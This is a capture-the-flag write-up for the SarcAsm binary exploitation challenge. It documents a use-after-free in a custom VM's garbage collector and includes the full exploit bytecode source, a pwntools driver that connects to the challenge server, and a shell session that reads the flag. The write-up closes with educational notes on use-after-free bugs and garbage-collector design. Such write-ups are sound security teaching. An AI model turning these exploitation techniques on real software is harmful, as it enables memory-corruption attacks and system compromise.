SarcAsm - EH4X CTF 2026
Category: Binary Exploitation | Points: 500 | Solves: idk probably not many lol
tl;dr: Custom VM with a garbage collector that forgets slices exist. Use-After-Free go brrr. Leak PIE, overwrite function pointer, pop shell.
0x00 - First Look
We get a handout with:
sarcasm- a stripped PIE binary (the VM + assembler)libc.so.6- glibc 2.35 (Ubuntu)ld-linux-x86-64.so.2
$ file sarcasm
ELF 64-bit LSB pie executable, x86-64, stripped
$ checksec sarcasm
Full RELRO | Canary | NX | PIE | FORTIFY
Every single protection is on. cool cool cool.
Running it gives us:
$ ./sarcasm
Usage: sarcasm --run-asm <src.nvm>
sarcasm --asm <src.nvm> [-o out.bin]
So it's a custom VM called SarcAsm with its own assembly language (.nvm files). It can either assemble source to bytecode or run it directly. The remote at nc 20.244.7.184 9999 accepts raw bytecode.
0x01 - Reversing the VM
Time to throw this bad boy into Ghidra. After a few hours of renaming variables and crying, here's what we're working with:
Architecture Overview
Tagged Values - The VM uses NaN-boxing style tagged pointers:
- Integers:
(value << 1) | 1(LSB = 1) - Object pointers: aligned addresses (LSB = 0)
- Type check:
val & 1tells you if it's an int or pointer
Instruction Set
Reversed the full opcode map through Ghidra + trial and error:
| Opcode | Mnemonic | What it does |
|---|---|---|
| 0x01 | PUSH imm | Push tagged integer |
| 0x02 | DUP | Duplicate top of stack |
| 0x03 | SWAP | Swap top two |
| 0x04 | DROP | Pop and discard |
| 0x10-0x16 | ADD/SUB/XOR/SHL/SHR/AND/OR | Arithmetic on tagged ints |
| 0x20 | NEWBUF size | Allocate a new buffer |
| 0x21 | READ count | Read stdin into buffer |
| 0x22 | SLICE off len | Create a slice (shared data!) |
| 0x23 | PRINTB | Write buffer to stdout |
| 0x24 | LEN | Get buffer length |
| 0x25 | WRITEBUF off count | Read stdin at offset in buffer |
| 0x30/0x31 | GLOAD/GSTORE idx | Load/store global |
| 0x40 | BUILTIN id | Create callable from builtin table |
| 0x41 | CALL nargs | Call a callable |
| 0x50/0x51 | JMP/JZ offset | Jump / jump if zero |
| 0x60 | GC | Trigger garbage collection |
| 0xFF | HALT | Stop execution |
Object Layout (32 bytes each)
Buffer Data Layout
Bucket sizes: 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000
Each size class has its own free list. When a buffer is freed, its data goes back to the corresponding free list. Next alloc of the same size class? Same memory. Remember this - it's the whole exploit.
Builtin Functions
| ID | Address | Arity | What it does |
|---|---|---|---|
| 0 | PIE+0x31D0 | 1 | Prints an integer (printf("%ld\n")) |
| 1 | PIE+0x2EE0 | 0 | Literally nothing (no-op) |
The Win Function
Sitting pretty at PIE+0x3000, not in the builtin table:
void win(void) {
char *argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
_exit(1);
}The goal is clear: make CALL invoke this function instead of a legit builtin.
When CALL executes, it reads a function pointer from callable->data + 8 and jumps to it:
// CALL opcode (simplified)
func_ptr = *(callable->data_ptr + 8); // read function pointer
func_ptr(vm_stack); // YOLO jump0x02 - Finding the Bug
The Garbage Collector is... Garbage
Here's the GC in pseudocode:
MARK PHASE:
for each value on stack:
if it's an object pointer: set gc_flag = 1
for each global slot:
if it's an object pointer: set gc_flag = 1
SWEEP PHASE:
for each allocated object:
if gc_flag == 0:
free the object
free its buffer data (goes back to free list)
else:
reset gc_flag = 0
Notice anything? The GC only marks direct references. It doesn't walk into objects to mark what THEY point to. Specifically:
A SLICE (type 2) shares its parent buffer's data pointer. But the GC doesn't know that. If the parent buffer gets freed, the slice is left holding a dangling pointer to freed memory.
This is a textbook Use-After-Free. The slice thinks it still owns that memory, but the allocator already recycled it.
0x03 - Exploitation Strategy
We need to:
- Leak PIE base - to know where the win function lives
- Overwrite a callable's function pointer - to redirect CALL to execve
- Trigger it - CALL the corrupted callable
All using only NVM assembly instructions. We write the exploit IN the VM's own language. We're literally making the VM pwn itself.
The Full Attack in 5 Phases
Here's the high-level flow:
Phase 1 - Leak Setup (UAF for Reading)
NEWBUF 24 ; Create buffer A (bucket 0x20 = 32 bytes)
DUP ; Copy A on stack
WRITEBUF 0 8 ; Fill A with 8 bytes of junk from stdin (pops one copy)
SLICE 0 8 ; Create slice SA from A (shares A's data pointer)
GSTORE sa ; Save SA in globals[0]
; A is no longer on stack or globals -> unreachable!
GC ; GC frees A. A's buffer data goes to free list.
; SA is alive in globals, but its data pointer is DANGLING.
BUILTIN 0 ; Creates callable, allocates from free list...
; ...gets A's old buffer! Writes func_ptr at data+8
GSTORE callable1 ; Save callable in globals[1]After this: SA's data pointer == callable1's data pointer. Same physical memory. SA can READ what BUILTIN wrote.
Phase 2 - Leak the Function Pointer
GLOAD sa ; Push SA (the dangling slice)
PRINTB ; Outputs 8 bytes from SA's data = the function pointer!We receive 8 bytes on stdout = PIE + 0x31D0. Subtract 0x31D0 to get PIE base. Add 0x3000 for win function.
Phase 3 - Attack Setup (UAF for Writing)
Same trick but we go one step further to get WRITE access:
NEWBUF 24 ; Buffer B (bucket 0x20)
DUP
WRITEBUF 0 8 ; Fill B with junk
SLICE 0 8 ; Slice SB from B
GSTORE sb ; Save SB
GC ; B freed, buffer data to free list. SB dangling.
NEWBUF 24 ; Buffer D - reuses B's freed data from free list!
GSTORE writable ; D is our write primitive
PUSH 0
GSTORE sb ; Clear SB from globals
GC ; SB is unreachable -> freed
; SB's data (= D's data!) goes to free list AGAIN
; D is alive but its data is on the free list!
BUILTIN 1 ; Allocates from free list -> gets D's data!
GSTORE callable2 ; callable2 and D now share the same bufferPhase 4 - Overwrite Function Pointer
GLOAD writable ; Push D
WRITEBUF 0 8 ; Read 8 bytes from stdin -> writes to D.data+8
; = callable2's function pointer location!We send PIE + 0x3000 (win function address). D and callable2 share the same buffer, so writing through D corrupts callable2.
Phase 5 - Pop Shell
GLOAD callable2 ; Push the corrupted callable
CALL 0 ; Reads func_ptr from data+8 -> our overwritten address!
; Jumps to execve("/bin/sh")0x04 - The Exploit NVM Program
Here's the full NVM source. Yes, we're writing a pwn exploit in the VM's own assembly. Peak comedy.
GLOBAL sa ; 0 - leak slice (dangling ptr to callable1's data)
GLOBAL callable1 ; 1 - leak target (BUILTIN 0)
GLOBAL sb ; 2 - attack slice (temporary, gets cleared)
GLOBAL writable ; 3 - write primitive buffer (shares data with callable2)
GLOBAL callable2 ; 4 - attack target (BUILTIN 1, func ptr gets overwritten)
; ===== Phase 1: Leak Setup =====
NEWBUF 24 ; A (bucket 0x20)
DUP
WRITEBUF 0 8 ; stdin -> A (8 bytes junk padding)
SLICE 0 8 ; SA overlaps A
GSTORE sa
GC ; free A, SA dangling
BUILTIN 0 ; reuses A's buffer, writes func ptr
GSTORE callable1
; ===== Phase 2: Leak =====
GLOAD sa
PRINTB ; stdout <- 8 bytes (the function pointer)
; ===== Phase 3: Attack Setup =====
NEWBUF 24 ; B (bucket 0x20)
DUP
WRITEBUF 0 8 ; stdin -> B (8 bytes junk)
SLICE 0 8 ; SB overlaps B
GSTORE sb
GC ; free B
NEWBUF 24 ; D reuses B's data
GSTORE writable
PUSH 0
GSTORE sb ; clear SB
GC ; free SB -> D's data back on freelist
BUILTIN 1 ; reuses D's data -> D & callable2 overlap!
GSTORE callable2
; ===== Phase 4: Overwrite =====
GLOAD writable
WRITEBUF 0 8 ; stdin -> D.data+8 = callable2's func ptr!
; ===== Phase 5: Shell =====
GLOAD callable2
CALL 0 ; calls our overwritten pointer -> execve("/bin/sh")
HALTAssembles to just 58 bytes of bytecode. Compact and deadly.
0x05 - The Python Driver
The NVM program handles the VM-side exploit, but we need a driver to:
- Send the bytecode to the remote
- Provide stdin data at the right time
- Receive the leak and compute addresses
- Send the target address
- Interact with the shell
#!/usr/bin/env python3
from pwn import *
import subprocess, struct, time
context.log_level = 'info'
REMOTE_HOST = '20.244.7.184'
REMOTE_PORT = 9999
BUILTIN0_OFFSET = 0x31d0 # BUILTIN 0 function address (relative to PIE base)
TARGET_OFFSET = 0x3000 # execve("/bin/sh") function
NVM_SOURCE = r"""
GLOBAL sa
GLOBAL callable1
GLOBAL sb
GLOBAL writable
GLOBAL callable2
NEWBUF 24
DUP
WRITEBUF 0 8
SLICE 0 8
GSTORE sa
GC
BUILTIN 0
GSTORE callable1
GLOAD sa
PRINTB
NEWBUF 24
DUP
WRITEBUF 0 8
SLICE 0 8
GSTORE sb
GC
NEWBUF 24
GSTORE writable
PUSH 0
GSTORE sb
GC
BUILTIN 1
GSTORE callable2
GLOAD writable
WRITEBUF 0 8
GLOAD callable2
CALL 0
HALT
"""
def assemble(nvm_source):
nvm_path = '/tmp/exploit_gen.nvm'
bin_path = '/tmp/exploit_gen.bin'
with open(nvm_path, 'w') as f:
f.write(nvm_source)
# Use the challenge binary itself as the assembler
result = subprocess.run(
['./handout/sarcasm', '--asm', nvm_path, '-o', bin_path],
capture_output=True, text=True
)
assert result.returncode == 0, f"Assembly failed: {result.stderr}"
with open(bin_path, 'rb') as f:
return f.read()
def exploit(target):
bytecode = assemble(NVM_SOURCE)
log.info(f"Assembled {len(bytecode)} bytes of bytecode")
if target == 'local':
p = process(['./handout/sarcasm', '--run-asm', '/tmp/exploit_gen.nvm'])
else:
p = remote(REMOTE_HOST, REMOTE_PORT)
p.send(bytecode) # remote expects [u32 len | bytecode]
# Phase 1: WRITEBUF needs 8 bytes from stdin
p.send(b'A' * 8)
# Phase 2: Receive 8-byte leak (function pointer from BUILTIN 0)
leak = p.recv(8, timeout=10)
func_ptr = struct.unpack('<Q', leak)[0]
pie_base = func_ptr - BUILTIN0_OFFSET
target_addr = pie_base + TARGET_OFFSET
log.info(f"Leaked func ptr: {hex(func_ptr)}")
log.info(f"PIE base: {hex(pie_base)}")
log.info(f"Win function: {hex(target_addr)}")
# Phase 3: WRITEBUF needs 8 bytes from stdin
p.send(b'B' * 8)
time.sleep(0.1)
# Phase 4: Send target address to overwrite callable's func ptr
p.send(struct.pack('<Q', target_addr))
log.success("Payload sent! Shell incoming...")
p.interactive()
if __name__ == '__main__':
import sys
exploit(sys.argv[1] if len(sys.argv) > 1 else 'local')0x06 - Pwned
$ python3 exploit.py remote
[*] Assembled 58 bytes of bytecode
[+] Opening connection to 20.244.7.184 on port 9999: Done
[*] Leaked func ptr: 0x5587f97c71d0
[*] PIE base: 0x5587f97c4000
[*] Win function: 0x5587f97c7000
[+] Payload sent! Shell incoming...
[*] Switching to interactive mode
$ ls -la
total 48
dr-xr-xr-x 1 root root 4096 Feb 27 17:28 .
drwxr-xr-x 1 root root 4096 Feb 27 17:43 ..
-r-xr-xr-x 1 root root 39136 Feb 27 17:28 sarcasm
$ cat /flag*
EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}
Flag: EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}
0x07 - Lessons Learned (Educational Notes)
What is Use-After-Free (UAF)?
A UAF happens when:
- Memory is allocated and used
- Memory is freed (returned to allocator)
- A pointer to that memory still exists (dangling pointer)
- The freed memory is reallocated to something else
- The old pointer now reads/writes someone else's data
In this challenge, the SLICE object keeps a raw pointer to its parent's buffer data. When the GC frees the parent, the slice's pointer becomes dangling. New allocations reuse that memory, creating an overlap.
Why Did the GC Fail?
The GC uses a simple mark-sweep algorithm but only marks objects that are directly referenced from the stack or globals. It doesn't follow pointers inside objects (no transitive marking of shared buffer data). This means:
- Parent buffer on stack? Marked, not freed. Good.
- Parent buffer NOT on stack, but slice IS? Parent freed, slice keeps dangling pointer. Bad.
A correct GC would either:
- Reference count the shared buffer data (increment on slice creation, decrement on free)
- Transitively mark - when marking a slice, also mark its shared data as alive
The Free-List Allocator Makes It Exploitable
The size-class free-list design means same-size allocations are guaranteed to reuse the same memory. This makes the UAF deterministic:
NEWBUF 24 -> bucket 0x20 -> gets fresh malloc
GC frees it -> bucket 0x20 free list: [ptr]
BUILTIN 0 -> also bucket 0x20 -> gets same ptr from free list!
No heap feng shui or spraying needed. The overlap is 100% reliable.
Tagged Pointers / NaN-Boxing
This VM uses a common technique from language runtimes (V8, LuaJIT, etc.) where the least significant bit distinguishes integers from pointers. This saves memory compared to wrapping every value in a struct with a type tag.
Key Takeaways
- Custom VMs are goldmines for bugs - They reimplement memory management, type systems, and GC from scratch. Lots of surface area for mistakes.
- GC != memory safety - A buggy garbage collector can introduce the same UAF bugs that manual memory management has.
- Shared mutable state is dangerous - Slices sharing buffer data with their parent creates an implicit reference that the GC doesn't track.
- Free-list allocators are deterministic - Once you have a UAF, same-size allocations are guaranteed to overlap. No randomness to deal with.
- Always check for win functions -
strings binary | grep bin/shis step 1 of every pwn challenge. Here it immediately told us the target.
0x08 - References
- Use-After-Free - OWASP
- Understanding Garbage Collection
- Tagged Pointers Explained
- pwntools Documentation
- Ghidra - NSA's RE Tool
GG EH4X, fun challenge. The sarcasm was mutual.